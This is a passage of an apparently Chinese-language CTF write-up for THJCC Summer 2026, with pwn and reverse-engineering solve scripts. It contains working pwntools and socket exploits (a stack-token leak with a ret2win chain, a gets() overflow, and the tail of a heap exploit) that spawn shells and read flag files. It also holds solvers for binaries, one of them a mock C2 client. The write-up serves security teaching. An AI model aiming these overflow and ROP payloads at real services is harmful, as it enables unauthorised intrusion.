t.sendline(b\u0026#34;select 7\u0026#34;) t.recv_until(b\u0026#34;selected\u0026#34;) d = show() print(\u0026#34;[probe] slot7 chunk:\u0026#34;, d[:0x48].hex()) t.sendline(b\u0026#34;select 6\u0026#34;) t.recv_until(b\u0026#34;selected\u0026#34;) d = show() print(\u0026#34;[probe] slot6 chunk:\u0026#34;, d[:0x48].hex()) sys.exit(0) # ---- stage 7: trigger exit -\u0026gt; _IO_cleanup -\u0026gt; system(\u0026#34; cat this*;sh\u0026#34;) --- t.sendline(b\u0026#34;cook\u0026#34;) time.sleep(1.5) t.sendline(b\u0026#34;cat thisisratratratrat_puipui.txt; cat $NECROPET_FLAG_PATH; id; ls\u0026#34;) time.sleep(2.0) out = b\u0026#34;\u0026#34; try: t.s.settimeout(3) while True: d = t.s.recv(65536) if not d: break out += d except Exception: pass out += t.buf print(\u0026#34;RAW:\u0026#34;, repr(out)) Canary Notes Flag：THJCC{y0u_k1ll3d_c4n4ry_y0u_b4d_b4d}\n伪金丝雀随机 token 经 receipt 泄漏（发 7 字节留言拿完整 token 避开 NUL 低字节）， ret2win 需 ret gadget 对齐远程栈。\n📜 Canary Notes solve.py（69 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;Canary Notes (THJCC Summer 2026, pwn) exploit. Bug: scanf(\u0026#34;%s\u0026#34;) into an 8-byte stack buffer (rbp-0x10) in main. Layout: [note buf:8][token copy:8][saved rbp:8][ret:8] The 8-byte random token (\u0026#34;canary\u0026#34;) is leaked via the receipts: receipt = note_content ^ token (same token both notes) Trick: scanf(\u0026#34;%s\u0026#34;) appends a NUL after the input. An 8-char note puts the NUL at buf[8] == byte0 of the token copy, so the receipt then leaks token \u0026amp; ~0xff. Instead send a 7-char note: input = \u0026#39;A\u0026#39;*7 + NUL (8 bytes, buf[0..7]) so the token copy stays intact and encrypt reads \u0026#39;AAAAAAA\\x00\u0026#39;, making receipt byte0 = token byte0 ^ 0 = the TRUE token byte0. Full token leaked in one shot: token = receipt1 ^ u64(b\u0026#39;A\u0026#39;*7 + b\u0026#39;\\x00\u0026#39;). Then overflow note2 restoring the token copy to pass the tamper check and set ret = win (0x401246 -\u0026gt; system(\u0026#34;/bin/sh\u0026#34;)). No libc needed. Alignment: entering win directly makes the `call system` inside it hit with rsp misaligned (system entry rsp % 16 == 0 instead of 8); some glibcs crash. Chain through a plain `ret` gadget (0x4010f0) first to shift rsp by 8. Usage: ./solve.py [host] [port] \u0026#34;\u0026#34;\u0026#34; from pwn import * import sys, re HOST = sys.argv[1] if len(sys.argv) \u0026gt; 1 else \u0026#34;127.0.0.1\u0026#34; PORT = int(sys.argv[2]) if len(sys.argv) \u0026gt; 2 else 1337 context.log_level = \u0026#34;info\u0026#34; context.arch = \u0026#34;amd64\u0026#34; WIN = 0x401246 # calls system(\u0026#34;/bin/sh\u0026#34;) RET_GADGET = 0x4010F0 # plain `ret`, aligns rsp before entering WIN def main(): r = remote(HOST, PORT) r.recvuntil(b\u0026#34;leave a note:\\n\u0026#34;) # note 1: 7 \u0026#39;A\u0026#39;s -\u0026gt; scanf writes \u0026#39;AAAAAAA\u0026#39; + NUL into buf[0..7], # leaving the token copy (at rbp-0x8) untouched; encrypt reads # \u0026#39;AAAAAAA\\x00\u0026#39; ^ token -\u0026gt; receipt leaks the FULL token note1 = b\u0026#34;A\u0026#34; * 7 r.sendline(note1) line = r.recvline() log.info(\u0026#34;receipt1: %s\u0026#34;, line.strip()) m = re.search(rb\u0026#34;receipt: 0x([0-9a-f]{16})\u0026#34;, line) assert m, f\u0026#34;bad receipt line: {line!r}\u0026#34; receipt1 = int(m.group(1), 16) token = receipt1 ^ u64(note1 + b\u0026#34;\\x00\u0026#34;) log.info(\u0026#34;token = 0x%016x\u0026#34;, token) assert all(0x21 \u0026lt;= (token \u0026gt;\u0026gt; (8 * i)) \u0026amp; 0xFF \u0026lt;= 0x7E for i in range(8)), \u0026#34;token has odd bytes\u0026#34; r.recvuntil(b\u0026#34;leave another note:\\n\u0026#34;) # note 2: overflow; restore token copy, smash ret -\u0026gt; (ret gadget) -\u0026gt; win payload = b\u0026#34;B\u0026#34; * 8 + p64(token) + b\u0026#34;C\u0026#34; * 8 + p64(RET_GADGET) + p64(WIN) assert b\u0026#34; \u0026#34; not in payload and b\u0026#34;\\n\u0026#34; not in payload and b\u0026#34;\\t\u0026#34; not in payload r.sendline(payload) r.recvuntil(b\u0026#34;thanks!\\n\u0026#34;) r.sendline(b\u0026#34;cat flag.txt; cat /flag.txt; cat /flag; ls -la\u0026#34;) data = r.recvall(timeout=3) log.success(\u0026#34;output:\\n%s\u0026#34;, data.decode(errors=\u0026#34;replace\u0026#34;)) return data if __name__ == \u0026#34;__main__\u0026#34;: main() I ate something bad Flag：THJCC{m4yb3_1_34t_t0_much}\ngets 栈溢出覆盖 0xbadf00d 常量触发 system(\u0026quot;/bin/sh\u0026quot;)。\n📜 I ate something bad solve.py（65 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;THJCC Summer 2026 - \u0026#34;I ate something bad ...\u0026#34; (Pwn, Baby) Vuln: gets() into 48-byte buffer at rbp-0x30. Program checks [rbp-0x4] == 0xbadf00d (\u0026#34;bad food\u0026#34;) and if so calls system(\u0026#34;/bin/sh\u0026#34;). Overflow 44 bytes + 0xbadf00d to satisfy the check and get a shell, then cat the flag. Usage: python3 solve.py [host] [port] (defaults: chal.thjcc.org 11037) \u0026#34;\u0026#34;\u0026#34; import socket import sys import time HOST = sys.argv[1] if len(sys.argv) \u0026gt; 1 else \u0026#34;chal.thjcc.org\u0026#34; PORT = int(sys.argv[2]) if len(sys.argv) \u0026gt; 2 else 11037 PAYLOAD = b\u0026#34;A\u0026#34; * 44 + (0xBADF00D).to_bytes(4, \u0026#34;little\u0026#34;) # 48 bytes total def recv_until(sock, marker, timeout=5): sock.settimeout(timeout) data = b\u0026#34;\u0026#34; while marker not in data: try: chunk = sock.recv(4096) except socket.timeout: break if not chunk: break data += chunk return data def main(): s = socket.create_connection((HOST, PORT), timeout=10) banner = recv_until(s, b\u0026#34;?\u0026#34;) print(\u0026#34;[*] banner:\u0026#34;, banner.decode(errors=\u0026#34;replace\u0026#34;).strip()) s.sendall(PAYLOAD + b\u0026#34;\\n\u0026#34;) time.sleep(0.3) out = recv_until(s, b\u0026#34;$\u0026#34;, timeout=2) print(\u0026#34;[*] after payload:\u0026#34;, out.decode(errors=\u0026#34;replace\u0026#34;).strip()) s.sendall(b\u0026#34;cat flag.txt; echo __END__\\n\u0026#34;) time.sleep(0.5) data = b\u0026#34;\u0026#34; s.settimeout(5) try: while True: chunk = s.recv(4096) if not chunk: break data += chunk if b\u0026#34;__END__\u0026#34; in data: break except socket.timeout: pass print(\u0026#34;[*] flag output:\u0026#34;) print(data.decode(errors=\u0026#34;replace\u0026#34;)) s.close() if __name__ == \u0026#34;__main__\u0026#34;: main() Reverse（6/6） 横向观察：6 题里 4 题的 flag 都是从常量表用滚动异或解出——cl 初值各异、每轮 +0x1A、奇偶位分别 ^(cl-0x0D)/^cl（License / 404 / xorlocks / BlackFrost），疑似同一作者套路：逆向先 grep 0x1a，命中即定位解密循环。\nBlackFrost Flag：THJCC{blackfrost_config_recovered}\nC2 客户端 PE32+ 7KB：pcap 是\u0026quot;失败探针\u0026quot;装饰，flag 在 .rdata 34 字节密文 + 滚动 密钥（cl 初值 0x26、每 2 字节 +0x1a）逐字节 XOR。\n📜 BlackFrost solve.py（98 行，核心 decode_flag@3754）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;BlackFrost (THJCC Summer 2026, Reverse) — one-shot solver. The PE (BlackFrost.exe) is a small C2 client: 1. parses `--token \u0026lt;tok\u0026gt;` (17 chars), checks FNV-1a32(token) == 0xB700B632 2. decrypts a static \u0026#34;stage\u0026#34; blob from .rdata (SSE keystream keyed by the hash) and requires it to contain \u0026#34;campaign=BLACKFROST-26;\u0026#34; 3. sleeps \u0026gt;= 3 s (anti-sandbox timer), then connects to 127.0.0.1:31337, sends \u0026#34;BFHELLO \u0026lt;hash-hex\u0026gt;\\n\u0026#34;, receives \u0026#34;BF2:\u0026lt;hexconfig\u0026gt;\\n\u0026#34; 4. XOR-decodes the config: byte[i] ^= hash_byte[i%4] ^ (0x5a + 0x11*i) and requires campaign/nonce/directive fields 5. finally prints the flag: a static 34-byte blob at .rdata:0x140003080 XORed with rolling key cl: 0x26 + 0x1a*i (even byte ^= cl-13, odd ^= cl) The flag is static — no network needed. The pcap lets us verify the protocol. \u0026#34;\u0026#34;\u0026#34; import struct from pathlib import Path HERE = Path(__file__).resolve().parent EXE = HERE / \u0026#34;BlackFrost.exe\u0026#34; PCAP = HERE / \u0026#34;traffic.pcap\u0026#34; HASH = 0xB700B632 # FNV-1a32 of the (unknown) 17-char token def fnv1a32(data: bytes) -\u0026gt; int: h = 0x811C9DC5 for b in data: h ^= b h = (h * 0x01000193) \u0026amp; 0xFFFFFFFF return h def exe_rdata(va: int, n: int) -\u0026gt; bytes: \u0026#34;\u0026#34;\u0026#34;Read n bytes at virtual address `va` from .rdata (file off 0x1600).\u0026#34;\u0026#34;\u0026#34; data = Path(EXE).read_bytes() # .rdata: VMA 0x140003000, file offset 0x1600 off = 0x1600 + (va - 0x140003000) return data[off:off + n] def decode_flag() -\u0026gt; str: blob = exe_rdata(0x140003080, 34) out = bytearray() cl = 0x26 for i in range(0, len(blob), 2): out.append(blob[i] ^ ((cl - 13) \u0026amp; 0xFF)) out.append(blob[i + 1] ^ cl) cl = (cl + 0x1A) \u0026amp; 0xFF return out.decode() def decode_config(hexcfg: str) -\u0026gt; bytes: hb = bytes.fromhex(hexcfg) out = bytearray() for i, b in enumerate(hb): k = ((HASH \u0026gt;\u0026gt; ((i * 8) \u0026amp; 0x18)) \u0026amp; 0xFF) ^ ((0x5A + 0x11 * i) \u0026amp; 0xFF) out.append(b ^ k) return bytes(out) def parse_pcap(path: Path): data = path.read_bytes() off = 24 msgs = [] while off \u0026lt; len(data): _, _, incl, _ = struct.unpack(\u0026#34;\u0026lt;IIII\u0026#34;, data[off:off + 16]) frame = data[off + 16:off + 16 + incl] off += 16 + incl sport, dport = struct.unpack(\u0026#34;\u0026gt;HH\u0026#34;, frame[34:38]) msgs.append((sport, dport, frame[54:])) return msgs def main(): print(\u0026#34;== flag (static blob, .rdata:0x140003080) ==\u0026#34;) flag = decode_flag() print(\u0026#34;FLAG:\u0026#34;, flag) print(\u0026#34;\\n== protocol verification from traffic.pcap ==\u0026#34;) for sport, dport, payload in parse_pcap(PCAP): print(f\u0026#34; {sport}-\u0026gt;{dport}: {payload!r}\u0026#34;) if payload.startswith(b\u0026#34;BFHELLO \u0026#34;): print(\u0026#34; -\u0026gt; handshake carries FNV-1a32(token) =\u0026#34;, hex(int(payload[8:16], 16)), \u0026#34;(== 0xb700b632)\u0026#34;) if payload.startswith(b\u0026#34;BF2:\u0026#34;): cfg = decode_config(payload[4:].strip().decode()) print(\u0026#34; -\u0026gt; decoded config:\u0026#34;, cfg) print(\u0026#34; -\u0026gt; note: exe requires \u0026#39;directive=collect;\u0026#39; but this config has\u0026#34;, \u0026#34;\u0026#39;directive=collect-only;\u0026#39; -\u0026gt; sandbox run ended \u0026#39;configuration rejected\u0026#39;\u0026#34;) print(\u0026#34;\\n== token property (not needed for flag) ==\u0026#34;) print(\u0026#34; FNV-1a32(token) must equal 0xb700b632 (17-char token, unknown value)\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() License Flag：THJCC{license_pipeline_rebuilt}\n静态 license 校验器输入无关：flag = .rodata 常量 （cl=0x7e 滚动，out[2k]=(cl-0x0d)^ro[2k], out[2k+1]=cl^ro[2k+1], cl+=0x1a）。\n📜 License solve.py（46 行，核心 decrypt@3823）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;THJCC Summer 2026 - License (Reverse, 144 pts) license_v2 is a statically linked, stripped x86-64 ELF license checker. The flag is NOT gated by knowing the license key: it is XOR-decrypted at the success path purely from .rodata constants (0x200210..0x20022e). Any input that passes the 24-byte comparison would print it; we simply decrypt it. Success path (0x201bc3): cl = 0x7e for rax in 1, 3, ..., 31: out[rax-1] = (cl - 0x0d) ^ rodata[0x20020f + rax] out[rax] = cl ^ rodata[0x200210 + rax] cl += 0x1a out[31] = 0 ; write(out) -\u0026gt; 31-byte flag \u0026#34;\u0026#34;\u0026#34; import sys RODATA = bytes.fromhex( \u0026#34;2536c1dbe6c9d3a5ba839d736845575d312b37011be7d0eeccd4b6b9b19e8a\u0026#34; ) # 0x200210 .. 0x20022e (31 bytes) def decrypt() -\u0026gt; str: out = bytearray(32) cl = 0x7E for k in range(16): out[2 * k] = ((cl - 0x0D) \u0026amp; 0xFF) ^ RODATA[2 * k] if 2 * k + 1 \u0026lt; 31: out[2 * k + 1] = cl ^ RODATA[2 * k + 1] cl = (cl + 0x1A) \u0026amp; 0xFF out[31] = 0 return out[:31].decode() if __name__ == \u0026#34;__main__\u0026#34;: flag = decrypt() print(flag) if \u0026#34;--verify\u0026#34; in sys.argv: # End-to-end sanity: patch first `jne fail` (VA 0x201a40, file 0xa40) # into `jmp 0x201bc3` and run under docker/alpine. data = bytearray(open(\u0026#34;license_v2\u0026#34;, \u0026#34;rb\u0026#34;).read()) rel = 0x201BC3 - (0x201A40 + 5) data[0xA40 : 0xA40 + 6] = bytes([0xE9]) + rel.to_bytes(4, \u0026#34;little\u0026#34;, signed=True) + b\u0026#34;\\x90\u0026#34; open(\u0026#34;license_patched\u0026#34;, \u0026#34;wb\u0026#34;).write(bytes(data)) print(\u0026#34;patched license_patched (run: docker run --rm -v $PWD:/mnt alpine /mnt/license_patched 0000-0000-0000-0000-0000-0000)\u0026#34;) 404 / xorlocks Flag：THJCC{vm_bytecode_is_a_contract} / THJCC{xor_basics_are_not_magic}\n404：2KB 手写字节码 VM，16 组同构检查 rol(input[i]^(0x20+i)+(0x07+3i), i%7)==target[i] （坑：i%7 非 i\u0026amp;7），flag 由 rodata 常量表生成与输入无关；xorlocks：从 ELF 节表 读 .rodata 反推密码，成功路径异或出 flag。\n📜 404 solve.py（38 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 # ==== 404-canary/solve.py ==== #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;THJCC CTF Summer 2026 - 404 (Reverse) one-shot solver. Binary: 404 (ELF64 x86-64 static, custom 8-register bytecode VM). VM program (0x121 bytes, reconstructed from .rodata movaps layout): for each input byte i: rol(input[i] ^ (0x20+i) + (0x07+3i), i%7) == target[i] on success, opcode at bytecode[0x120] prints the flag computed from a constant table (opcode-8 handler at 0x201615). \u0026#34;\u0026#34;\u0026#34; def rol(b, n): n \u0026amp;= 7 return ((b \u0026lt;\u0026lt; n) | (b \u0026gt;\u0026gt; (8 - n))) \u0026amp; 0xff if n else b def ror(b, n): n \u0026amp;= 7 return ((b \u0026gt;\u0026gt; n) | (b \u0026lt;\u0026lt; (8 - n))) \u0026amp; 0xff if n else b # target constants from the 16 CMP instructions in the VM program TARGETS = [0x5d, 0xac, 0x2a, 0xd2, 0xa6, 0x12, 0x58, 0x64, 0xf6, 0x62, 0x63, 0x27, 0xce, 0x9c, 0x7e, 0x84] # invert: rol(in ^ (0x20+i) + (0x07+3i), i%7) == TARGETS[i] inp = bytes((ror(TARGETS[i], i % 7) - (0x07 + 3 * i)) \u0026amp; 0xff ^ (0x20 + i) for i in range(16)) print(\u0026#39;input:\u0026#39;, inp.decode()) # flag from the opcode-8 (PRINT_FLAG) handler at 0x201615: # al starts 0x35, += 0x1a each round; out[2i] = (al-13)^key[2i], out[2i+1] = al^key[2i+1] key = bytes.fromhex(\u0026#39;7c7d080c1f1200eecfffd3c3a1b2b18f9d5a7b6c735819300f030ef5f5c2dac6\u0026#39;) out = bytearray(32) al = 0x35 for i in range(16): out[2 * i] = (al - 13) \u0026amp; 0xff ^ key[2 * i] out[2 * i + 1] = al ^ key[2 * i + 1] al = (al + 0x1a) \u0026amp; 0xff print(\u0026#39;flag :\u0026#39;, out.decode()) 📜 xorlocks solve.py（67 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 # ==== xorlocks/solve.py ==== #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;THJCC Summer 2026 - xorlocks 一键复现 从 ELF 提取常量表，反推密码，还原成功路径打印的 flag； 有 docker 时自动在 Linux 容器内跑原二进制做动态验证。 用法: python3 solve.py [path/to/xorlock] \u0026#34;\u0026#34;\u0026#34; import struct import subprocess import sys ELF = sys.argv[1] if len(sys.argv) \u0026gt; 1 else \u0026#34;handout/xorlock\u0026#34; data = open(ELF, \u0026#34;rb\u0026#34;).read() # 手工解析节表：.rodata 文件偏移 0x120 \u0026lt;-\u0026gt; VMA 0x200120 e_shoff = struct.unpack_from(\u0026#34;\u0026lt;Q\u0026#34;, data, 0x28)[0] e_shentsize = struct.unpack_from(\u0026#34;\u0026lt;H\u0026#34;, data, 0x3a)[0] e_shnum = struct.unpack_from(\u0026#34;\u0026lt;H\u0026#34;, data, 0x3c)[0] secs = {} for i in range(e_shnum): off = e_shoff + i * e_shentsize name, typ, flags, addr, sh_off, size = struct.unpack_from(\u0026#34;\u0026lt;IIQQQQ\u0026#34;, data, off) secs[addr] = (sh_off, size) ro_off, ro_size = secs[0x200120] ro = data[ro_off : ro_off + ro_size] def b(vma): return ro[vma - 0x200120] # 校验表 (0x200150, 20 字节) 与 消息表 (0x20016f, 32 字节) t1 = [b(0x200150 + i) for i in range(20)] t2 = [b(0x20016f + i) for i in range(32)] # 密码: ((p[i] ^ 0x5A) + 3*i) \u0026amp; 0xff == t1[i] (i = 0..19) password = \u0026#34;\u0026#34;.join(chr(((t1[i] - 3 * i) \u0026amp; 0xFF) ^ 0x5A) for i in range(20)) print(f\u0026#34;[+] password: {password}\u0026#34;) # 成功消息: cl 从 0x40 起每轮 +0x1A; base[2k+1] = (cl-0x0d) ^ t2[2k+1], base[2k+2] = cl ^ t2[2k+2] cl = 0x40 base = {} for k in range(16): a = 2 * k + 1 base[a] = ((cl - 0x0D) \u0026amp; 0xFF) ^ t2[a] if a \u0026lt; 0x1F: base[a + 1] = cl ^ t2[a + 1] cl = (cl + 0x1A) \u0026amp; 0xFF flag = bytes(base[i] for i in range(1, 0x20)).decode() print(f\u0026#34;[+] flag: {flag}\u0026#34;) # 动态验证（有 docker 时） try: r = subprocess.run( [\u0026#34;docker\u0026#34;, \u0026#34;run\u0026#34;, \u0026#34;--rm\u0026#34;, \u0026#34;-v\u0026#34;, f\u0026#34;{__import__(\u0026#39;os\u0026#39;).path.abspath(ELF)}:/app/x:ro\u0026#34;, \u0026#34;debian:stable-slim\u0026#34;, \u0026#34;/app/x\u0026#34;, password], capture_output=True, timeout=60, ) out = r.stdout.decode().strip() if out == flag: print(\u0026#34;[+] dynamic verify OK (docker): binary printed the flag, exit\u0026#34;, r.returncode) else: print(f\u0026#34;[-] dynamic verify FAILED: got {out!r}, exit {r.returncode}\u0026#34;) except (FileNotFoundError, subprocess.TimeoutExpired): print(\u0026#34;[*] docker unavailable/timeout — skip dynamic verify (static derivation already checked)\u0026#34;) Because There is no one Make Reverse So I Create This Chal Flag：THJCC{1_w0nd3r_h0w_l0n6_41_50lv35_17_\u0026gt;w\u0026lt;}\nMach-O arm64 自研 VM：XTEA 变体（双 sum）解密字节码 + FNV-1a 自校验，z3 求解 41 字节输入。\n📜 Because… solve.py（205 行，核心 decrypt_program@4038 / run_vm@4089）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;THJCC Summer 2026 - \u0026#34;Because There is no one Make Reverse So I Create This Chal\u0026#34; One-click solver: 1. XTEA-variant keystream (two sums, w15=0 / w17=DELTA) XORed over __const -\u0026gt; VM program (708 bytes; the 89th block writes only its first 4 bytes -\u0026gt; bytes 0x2c0..0x2c3, which contain the final 0x5a END opcode). 2. FNV-1a self-check over the 708 bytes (expect 0x4b9fb9f7, verified). 3. Interpret the custom VM symbolically with z3 -\u0026gt; flag. 4. Verify the candidate against the real binary. \u0026#34;\u0026#34;\u0026#34; import sys import struct import subprocess from pathlib import Path DELTA = 0x9E3779B9 MASK32 = 0xFFFFFFFF EXPECT_FNV = 0x4B9FB9F7 # --- VM opcodes (ip advance, semantics) --- # 0x15: acc ^= imm (2) 0x18: acc += imm (2) 0x74: acc = ROL8(acc, imm\u0026amp;7) (2) # 0xe5: acc -= imm (2) 0x97: idx = imm (2) 0xcd: len check (2) # 0x86: acc = input[idx] (1 byte, NO operand) # 0x8f: mismatch |= acc ^ byte-at-ip+1 (2) # 0x5b: ip += imm + 2 0x5a: END, ok iff no mismatch def xtea_encrypt_round(v0, v1, key, rounds=32): \u0026#34;\u0026#34;\u0026#34;XTEA variant from the ARM64 asm: TWO sums (w15 starts 0, w17 starts DELTA), each advanced once per round. v0 = counter word (w13), v1 = 0x1e403058 (w14).\u0026#34;\u0026#34;\u0026#34; s1 = 0 # used by the v0 update: key[s1 \u0026amp; 3] s2 = DELTA # used by the v1 update: key[(s2 \u0026gt;\u0026gt; 11) \u0026amp; 3] for _ in range(rounds): v0 = (v0 + ((((v1 \u0026lt;\u0026lt; 4) ^ (v1 \u0026gt;\u0026gt; 5)) + v1) ^ (s1 + key[s1 \u0026amp; 3]))) \u0026amp; MASK32 s1 = (s1 + DELTA) \u0026amp; MASK32 v1 = (v1 + ((((v0 \u0026lt;\u0026lt; 4) ^ (v0 \u0026gt;\u0026gt; 5)) + v0) ^ (s2 + key[(s2 \u0026gt;\u0026gt; 11) \u0026amp; 3]))) \u0026amp; MASK32 s2 = (s2 + DELTA) \u0026amp; MASK32 return v0, v1 def fnv1a(data, h=0x811C9DC5): for b in data: h = ((h ^ b) * 0x1000193) \u0026amp; MASK32 return h def decrypt_program(binary: bytes) -\u0026gt; bytes: # __const section: vmaddr 0x100000b98, file offset 2968, size 0x2e4 const = binary[2968:2968 + 0x2e4] # XTEA key = XOR of the two 16-byte blobs at const+0x2c4 / const+0x2d4 k1 = const[0x2c4:0x2c4 + 16] k2 = const[0x2d4:0x2d4 + 16] key = struct.unpack(\u0026#39;\u0026lt;4I\u0026#39;, bytes(a ^ b for a, b in zip(k1, k2))) out = bytearray() for i in range(0, 0x2c4, 8): block_idx = i \u0026gt;\u0026gt; 3 v0, v1 = xtea_encrypt_round((block_idx + 0xAFD9E340) \u0026amp; MASK32, 0x1E403058, key) ks = struct.pack(\u0026#39;\u0026lt;I\u0026#39;, v0) + struct.pack(\u0026#39;\u0026lt;I\u0026#39;, v1) # asm stores v0 first (LE), then v1 nbytes = 4 if i == 0x2c0 else 8 # last block (x9==4) writes only bytes 0..3 for j in range(nbytes): out.append(const[i + j] ^ ks[j]) return bytes(out) def disasm(prog: bytes): \u0026#34;\u0026#34;\u0026#34;Control-flow-following disassembler for the custom VM.\u0026#34;\u0026#34;\u0026#34; names = { 0x15: \u0026#39;acc ^= 0x{imm:02x}\u0026#39;, 0x18: \u0026#39;acc += 0x{imm:02x}\u0026#39;, 0x5a: \u0026#39;END (ok iff mismatch==0)\u0026#39;, 0x5b: \u0026#39;JMP +{imm}\u0026#39;, 0x74: \u0026#39;acc = ROL8(acc, {imm}\u0026amp;7)\u0026#39;, 0x86: \u0026#39;acc = input[idx]\u0026#39;, 0x8f: \u0026#39;CMP acc vs 0x{imm:02x}\u0026#39;, 0x97: \u0026#39;idx = {imm}\u0026#39;, 0xcd: \u0026#39;CHECK len == {imm}\u0026#39;, 0xe5: \u0026#39;acc -= 0x{imm:02x}\u0026#39;, } lines, ip = [], 0 while ip \u0026lt; len(prog): op = prog[ip] if op == 0x5a: lines.append((ip, names[op])); break if op == 0x86: lines.append((ip, names[op])); ip += 1 elif op in names: lines.append((ip, names[op].format(imm=prog[ip + 1]))) if op == 0x5b: ip = ip + 2 + prog[ip + 1] else: ip += 2 else: lines.append((ip, f\u0026#39;?? op 0x{op:02x}\u0026#39;)); ip += 1 return lines def run_vm(prog, inp, symbolic=False): \u0026#34;\u0026#34;\u0026#34;Execute the VM. symbolic=False: plain emulation, returns (ok, trace). symbolic=True: build z3 constraints, returns the input bytes or None.\u0026#34;\u0026#34;\u0026#34; if symbolic: import z3 s = z3.Solver() len_req = prog[1] # first instr is 0xcd len check inp_bv = [z3.BitVec(f\u0026#39;c{i}\u0026#39;, 8) for i in range(len_req)] for c in inp_bv: s.add(c \u0026gt;= 0x20, c \u0026lt;= 0x7e) acc, idx, ip, ok = 0, 0, 0, True for _ in range(1417): op = prog[ip] if op == 0x15: acc = acc ^ prog[ip + 1]; ip += 2 elif op == 0x18: acc = acc + prog[ip + 1]; ip += 2 elif op == 0x74: sh = prog[ip + 1] \u0026amp; 7 acc = (z3.RotateLeft(acc \u0026amp; 0xFF, sh)) \u0026amp; 0xFF; ip += 2 elif op == 0xe5: acc = acc - prog[ip + 1]; ip += 2 elif op == 0x86: acc = z3.If(idx \u0026lt; len_req, inp_bv[idx], 0); ip += 1 elif op == 0x97: idx = prog[ip + 1]; ip += 2 elif op == 0x8f: s.add((acc \u0026amp; 0xFF) == prog[ip + 1]); ip += 2 elif op == 0xcd: ip += 2 elif op == 0x5b: ip = ip + 2 + prog[ip + 1] elif op == 0x5a: break else: ok = False; break else: ok = False if not ok or s.check() != z3.sat: return None m = s.model() return bytes(m[c].as_long() for c in inp_bv) else: acc, idx, ip, ok = 0, 0, 0, True for _ in range(1417): op = prog[ip] if op == 0x15: acc = (acc ^ prog[ip + 1]) \u0026amp; 0xFF; ip += 2 elif op == 0x18: acc = (acc + prog[ip + 1]) \u0026amp; 0xFF; ip += 2 elif op == 0x74: sh = prog[ip + 1] \u0026amp; 7 acc = ((acc \u0026lt;\u0026lt; sh) | (acc \u0026gt;\u0026gt; (8 - sh))) \u0026amp; 0xFF; ip += 2 elif op == 0xe5: acc = (acc - prog[ip + 1]) \u0026amp; 0xFF; ip += 2 elif op == 0x86: acc = inp[idx] if idx \u0026lt; len(inp) else 0; ip += 1 elif op == 0x97: idx = prog[ip + 1]; ip += 2 elif op == 0x8f: if acc != prog[ip + 1]: ok = False ip += 2 elif op == 0xcd: if len(inp) != prog[ip + 1]: ok = False ip += 2 elif op == 0x5b: ip = ip + 2 + prog[ip + 1] elif op == 0x5a: return ok else: return False return False def main(): chal = Path(__file__).parent / \u0026#39;handout\u0026#39; / \u0026#39;chal\u0026#39; / \u0026#39;chal\u0026#39; binary = chal.read_bytes() prog = decrypt_program(binary) print(f\u0026#39;program len={len(prog)} fnv1a = {fnv1a(prog):#010x} (expect {EXPECT_FNV:#010x})\u0026#39;) if fnv1a(prog) != EXPECT_FNV: print(\u0026#39;WARN: FNV mismatch - decryption wrong?\u0026#39;) sys.exit(1) with open(Path(__file__).parent / \u0026#39;vm_disasm.txt\u0026#39;, \u0026#39;w\u0026#39;) as f: for ip, text in disasm(prog): f.write(f\u0026#39;{ip:#04x}: {text}\\n\u0026#39;) print(f\u0026#39;disasm written (vm_disasm.txt), {len(disasm(prog))} instructions\u0026#39;) cand = run_vm(prog, None, symbolic=True) if cand is None: print(\u0026#39;UNSAT\u0026#39;); sys.exit(1) print(f\u0026#39;z3 candidate: {cand!r}\u0026#39;) print(f\u0026#39;z3 candidate: {cand.decode()}\u0026#39;) r = subprocess.run([\u0026#39;./handout/chal/chal\u0026#39;], input=cand + b\u0026#39;\\n\u0026#39;, capture_output=True, cwd=Path(__file__).parent) print(f\u0026#39;binary verdict: 